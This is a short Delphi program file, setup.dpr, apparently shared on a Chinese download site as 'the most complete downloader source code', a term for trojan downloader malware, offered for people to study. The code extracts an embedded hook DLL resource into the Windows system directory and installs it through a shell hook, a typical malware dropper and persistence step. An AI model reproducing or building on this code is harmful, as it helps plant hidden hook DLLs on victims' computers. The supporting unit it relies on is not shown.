setup.dpr

史上最完整的下载者源代码,需要的朋友下载后可以研究

program Setup;

{$R '..\RES\Hook.res' '..\RES\Hook.txt'} // Hook.DLL

uses
  Windows, FunUnit in 'FunUnit.pas';

function getdr():String;
var
  MySysPath: PChar;
begin
  GetMem(MySysPath, 255);
  GetSystemDirectory(MySysPath, 255);
   Result := MySysPath;
end;


const
  ComDLL_FileName = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; //DLL文件安装目录

begin
  if ResourceToFile(RT_RCDATA, 'HOOK', Pchar(getdr()+'\'+ComDLL_FileName)) then
    SetupShellHook(Pchar(getdr()+'\'+ComDLL_FileName));
end.